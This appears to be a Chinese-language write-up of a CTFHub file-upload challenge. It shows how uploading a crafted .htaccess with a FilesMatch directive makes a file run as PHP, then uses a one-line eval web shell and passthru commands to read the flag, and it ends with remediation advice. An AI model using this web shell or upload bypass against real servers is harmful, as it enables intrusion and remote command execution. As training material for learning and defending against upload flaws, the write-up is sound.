CTFHub | .htaccess

一时失言乱红尘 2024-03-25 09:44 54阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **.htaccess：**
> 
> htaccess 文件是 Apache 服务器中的一个配置文件，它负责相关目录下的网页配置。通过 htaccess 文件，可以帮我们实现：网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

![9a190799609940c3b10a65d05f70df1d.png][] 网页显示内容

#### 0x02 解题过程 ####

**0x1 方法一： 使用蚁剑连接**

**Ⅰ**分析网页源代码，代码中使用了两个常量 UPLOAD\_PATH 。和 UPLOAD\_URL\_PATH ，但是没有给出这两个常量的值。一般地，程序员通常会使用这些常量来控制上传文件的目录路径或者 URL 路径。在代码的白名单中没有对 .htaccess 文件做限制。但是在检查源代码中发现没有对此文件添加到白名单中。

![325e55f1c33b4bf9927eade4f7dbfd5e.png][]

<!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>CTFHub 文件上传 - htaccess</title>
    </head>
    <body>
        <h1>CTFHub 文件上传 - htaccess</h1>
        <form action="" method="post" enctype="multipart/form-data">
            <label for="file">Filename:</label>
            <input type="file" name="file" id="file" />
            <br />
            <input type="submit" name="submit" value="Submit" />
        </form>
    </body>
    </html>

**Ⅱ**使用FilesMatch 命令生成一个.htaccess 文件进行上传，绕过白名单中的漏洞。

![ca0c38b910ec4b1baa12c1abab33b102.png][]

<FilesMatch "payload">
     SetHandler application/x-httpd-php
    </FilesMatch>

**Ⅲ**上传一句话木马，文件名为 payload ，这里不需要后缀名，因为要和 FilesMatch 命令指定的文件名称相匹配。

![5855a7dd943041a690f1573b9e981494.png][]

<?php eval($_POST['shell']); ?>

**Ⅳ**使用蚁剑添加并连接

![27c43a1301f9445c9bc10e104a3507af.png][]

**Ⅴ**检查网页文件发现此题flag

![612a884f52c346e5ba1165b34df293a2.png][]

**0x2 方法二： 执行外部命令**

**Ⅰ**方法一中已经分析过源代码，那么执行外部命令还是需要先使用FilesMatch 命令生成一个.htaccess 文件进行上传。

![43322f9f53ee4ae78563df22faa9d860.png][]

**Ⅱ**使用 passthru 执行外部指令，查看文件夹 var 中是否存在关于此题的 flag 。

![a35dca4307f4406c8190464247828aa9.png][]

<?php 
    passthru("ls /var/");
    ?>

**Ⅲ**在 URL 中访问 payload 文件夹的路径

![1ce01d14f9604d4dbe0f6c46e5042e75.png][]

**Ⅳ**一般网页文件夹都存放在 www 文件夹中，这里检查 www 文件，需要再次上传 payload 文件夹才可以查看。

![a7296c1ea95f4a80b4517f7386b58c42.png][]

<?php 
    passthru("ls /var/www/");
    ?>

**Ⅴ**查看 html 文件夹中是否有此题 flag ，这里看到有一个关于flag的php文件

![50f20c1236734b9e92a035c0e7c359db.png][]

<?php 
    passthru("ls /var/www/html/");
    ?>

**Ⅵ**检查此文件，注意网页中是不显示注释代码的，需要检查源代码查看。

![04da73bbf1db490897fc3818283bc782.png][]

<?php 
    passthru("cat /var/www/html/flag_828011517.php");
    ?>

#### **0x03 修复建议** ####

> \[1\].给上传文件设置上传路径，对代码中的 UPLOAD\_PATH 和 UPLOAD\_URL\_PATH 进行定义。
> 
> \[2\].限制允许上传的文件类型和大小。可以通过后缀名、MIME类型、文件头等多种方式对文件类型进行限制，同时可以设置上传文件大小的最大值。
> 
> \[3\].确保上传文件的存储路径安全，不要将上传的文件存储到Web根目录下或者其他可被访问的目录中
> 
> \[4\].对上传文件的访问权限进行控制，只允许有必要权限的用户或者应用程序访问上传的文件。

#### **0x04 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[9a190799609940c3b10a65d05f70df1d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/f9c192ff78b64a10a2ac1d455210af19.png
[325e55f1c33b4bf9927eade4f7dbfd5e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/6cfb894f9c6148c982f135f197cd35ae.png
[ca0c38b910ec4b1baa12c1abab33b102.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/73914bddb83d4fcf8073857cd174f9de.png
[5855a7dd943041a690f1573b9e981494.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/36178bd07b1846438da0a945cb222e66.png
[27c43a1301f9445c9bc10e104a3507af.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/4aad5628ff6549d2873ca30a351fca7f.png
[612a884f52c346e5ba1165b34df293a2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/bfc86f0e58844db8adcc870a6e05a151.png
[43322f9f53ee4ae78563df22faa9d860.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/c40f188bf32549ad93f4f3cad06ba9cf.png
[a35dca4307f4406c8190464247828aa9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/7500459c82e14aa3be855e87adcc811f.png
[1ce01d14f9604d4dbe0f6c46e5042e75.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/e326c7ac78a94343aabdf39dfc2878c2.png
[a7296c1ea95f4a80b4517f7386b58c42.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/0c1fb3847eb74b8d83986677beb4e37a.png
[50f20c1236734b9e92a035c0e7c359db.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/787a8134abd34cbba14f20eb305f13a4.png
[04da73bbf1db490897fc3818283bc782.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/7ffee530d7d14a29a86d9f0888f891ed.png